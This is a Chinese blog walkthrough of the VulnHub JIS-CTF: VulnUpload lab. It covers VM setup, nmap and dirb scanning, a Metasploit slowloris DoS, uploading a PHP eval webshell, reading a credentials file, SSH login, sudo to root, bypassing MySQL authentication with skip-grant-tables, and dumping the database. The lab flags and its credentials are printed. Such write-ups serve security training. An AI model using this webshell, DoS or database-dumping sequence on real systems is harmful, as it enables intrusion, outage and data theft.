Vulnhub靶机渗透之环境搭建及JIS-CTF入门

Vulnhub靶机渗透之环境搭建及JIS-CTF入门

目录

Vulnhub靶机渗透之环境搭建及JIS-CTF入门

一、JIS-CTF题目描述

二、Vulnhub环境配置

三、Vulnhub靶机渗透详解

1.信息收集

2.First flag

3.Second flag

4.Third flag

5.Fourth flag

6.Fifth flag

7.sudo提权管理员权限

8.无密码登录数据库

9.获取数据库数据

四.总结

一、JIS-CTF题目描述

靶场题目:JIS-CTF: VulnUpload

靶场地址:Vulnerable By Design ~ VulnHub

entry/jis-ctf-vulnupload,228/

难度描述:包含5个Flag,初级难度,查找所有Flag平均需要1.5小时

靶场作者:Mohammad Khreesha

靶场描述:Description: There are five flags on this machine. Try to find them. It takes 1.5 hour on average to find all flags.

下载地址:

打开网址显示的内容如下图所示,我们获取虚拟机格式的镜像,然后进行环境配置。

img

二、Vulnhub环境配置

第一步,下载资源

第二步,打开VMware虚拟机安装靶场 找到我们刚才下载的文件,导入虚拟机。

第三步,导入完成之后,设置NAT网络模式,内存设置为2G,硬盘设置为32GB

四步,点击开启虚拟机及配置过程 到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。

进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。

回车后会弹出选择界面,我们选择root一行回车,接着再次回车进入命令行模式。

第五步,输入“mount -o rw,remount / ”命令,再配置网络问卷,否则后面可能无法保存网络配置文件

接着输入命令查看网卡:

  • ifconfig -a

然后继续输入命令修改网络配置文件。

  • vi /etc/network/interfaces

    image-20230715103026175

最后输入reboot重启即可。

(方法二,进入系统界面,输入账号 technawi 口令 3vilH@ksor

然后启用网卡:sudo ifconfig ens33 up 分配IP:sudo dhclient)

三、Vulnhub靶机渗透详解
1.信息收集

首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。

第一步,扫描网卡名称

  • netdiscover -i

第二步,调用Nmap探测目标主机IP

  • nmap -sn 192.168.179.0/24

由于在同一个网段,所以和主机IP地址近似,扫描结果如下图所示,靶场IP为192.168.179.5

image-20230715120413179

第三步,调用Nmap探测靶机的开放端口信息

  • nmap -A 192.168.179.5

  • 22端口:SSH远程连接

  • 80端口:HTTP网站协议

第四步,用nmap进行漏洞扫描

  • nmap --script=vuln -p22,80 192.168.179.5

发现漏洞

下一步就是直接启动msf,终端输入:msfconsole

然后搜一下有啥可以用的模块:search slowloris;use一下:use auxiliary/dos/http/slowloris

run之后发现 http://192.168.179.5 打不开,说明漏洞利用成功

第五步,利用dirb扫描80端口的目录文件,敏感文件分析非常重要

image-20230715122409292

第六步,调用whatweb查看环境

  • whatweb 192.168.179.5/login.php

image-20230715123629289

第七步,敏感文件分析

  • 登陆界面: 192.168.179.5/index.php 192.168.179.5/login.php

  • 系统信息:发现目录浏览漏洞,以及apache版本信息 192.168.179.5/assets/

  • robots.txt文件发现目录泄露,其中flag文件夹应该有问题 192.168.179.5/robots.txt

2.First flag

我们从敏感文件robots.txt中获取目录信息,发现一个敏感的关键词flag,输入目标地址:192.168.179.5/flag/,第一个flag浮出水面,比较基础,是敏感文件和目录相关。

The 1st flag is : {8734509128730458630012095}

image-20230715124254430

3.Second flag

在地址栏中输入网址,显示如下图所示:

image-20230715124651420

4.Third flag

登录分析

我们之前打开了登录页面,但没有账号和密码。这里是否能用上面的账号和密码呢?接着我们进行了登录尝试,返回页面是一个文件上传。

image-20230715124903218

上传一句话木马

第一步:登录之后是一个上传页面,我们尝试上传一句话木马。

木马内容:‘<?php@eval($_POST['code']);?>’

第二步:上传成功用蚁剑进行连接

保存后可看到后台整个页面,在/var/www/html/目录下,看到hint.txt和flag.txt文件。

在hint.txt中可看到第三个flag:The 3rd flag is : {7645110034526579012345670}

image-20230715185759443

第三步,gobuster目录扫描 注意,hint.txt文件是能够直接访问的,但flag.txt文件却无法访问。

 root@kali:~# gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.179.5 -t 100 -x txt

image-20230715211147257

5.Fourth flag

刚才在第三个flag提示我们“try to find user technawi password to read the flag.txt file, you can find it in a hidden file ”,表示需要用technawi读取flag.txt文件,我们可以在隐藏文件中找到用户的信息。那怎么去实现呢?

第一步,我们在蚁剑中启动shell的命令行模式,命令“2>/dev/null”表示过滤掉类似没有权限的信息。

  • find / -user ‘technawi’ 2>/dev/null

我们看到了一个特殊的文件/etc/mysql/conf.d/credentials.txt ,尝试去读一下里面的信息,得到flag

 cat /etc/mysql/conf.d/credentials.txt

image-20230715212652729

获取第四个Flag和technawi用户对应的密码。

  • The 4th flag is : {7845658974123568974185412}

  • username : technawi

  • password : 3vilH@ksor

6.Fifth flag

如果直接读取flag.txt文件,显示为空,需要对应的用户和权限。

接着我们采用SSH连接,账号和密码为第4个flag获取的值。

  • username : technawi

  • password : 3vilH@ksor

  • ssh technawi@192.168.44.143

image-20230715220431675

找到登陆用户technawi,然后去读取刚才flag.txt文件 ,得到最后的flag。

  • cat /var/www/html/flag.txt

  • The 5th flag is : {5473215946785213456975249}

image-20230715222107012

7.sudo提权管理员权限

在Web渗透中,提权和数据库获取也是非常重要的知识点。尽管Vulnhub是渗透靶场,但获取flag并不是我们的唯一目标,提权也很有意思。

  • root权限可以直接使用sudo su -获得

8.无密码登录数据库

1、定位配置文件位置并打开进行编辑

image-20230715230547004

2、在文件内容 [mysqld] 下方添加“跳过密码登录”的代码skip-grant-tables ,保存后退出。

3、重启mysql

 root@Jordaninfosec-CTF01:/usr/lib/mysql# locate my.cnf
 /etc/alternatives/my.cnf
 /etc/mysql/my.cnf
 /etc/mysql/my.cnf.fallback
 /var/lib/dpkg/alternatives/my.cnf
 root@Jordaninfosec-CTF01:/usr/lib/mysql# cd /etc/mysql
 root@Jordaninfosec-CTF01:/etc/mysql# ls
 conf.d  debian.cnf  debian-start  my.cnf  my.cnf.fallback  mysql.cnf  mysql.conf.d
 root@Jordaninfosec-CTF01:/etc/mysql# vi my.cnf
 root@Jordaninfosec-CTF01:/etc/mysql# systemctl restart mysql

4、确认不需要密码可以登录 MySQL

 mysql -uroot

image-20230715230936040

9.获取数据库数据

查看数据表和user表:

image-20230715232554732

更新root密码为123456:

image-20230715232759539

mysqldump导出需要的数据库,完成mysql脱裤。

image-20230715232708960

所用命令

 mysql> use mysql;
 ​
 mysql> show databases;
 ​
 mysql> select host,user,authentication_string,plugin from user;
 ​
 mysql> update user set authentication_string=password("123456") where user="root";
 ​
 mysql> flush privileges;
 root@Jordaninfosec-CTF01:~# mysqldump -uroot -p sys > sys.sql
 Enter password: 
 root@Jordaninfosec-CTF01:~# ls
 sys.sql
四.总结

写道这里,这篇文章讲解完毕,后续会更深入的分享。文章内容包括:

  • netdiscover 用于发现目标ip

  • nmap进行端口扫描

  • dirb进行目录扫描

  • 敏感文件获取及分析

  • php木马生成和蚁剑工具

  • ssh远程连接

  • sudo提权

  • 数据库脱裤

相关内容整理于网上,侵权删。

  • 4
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值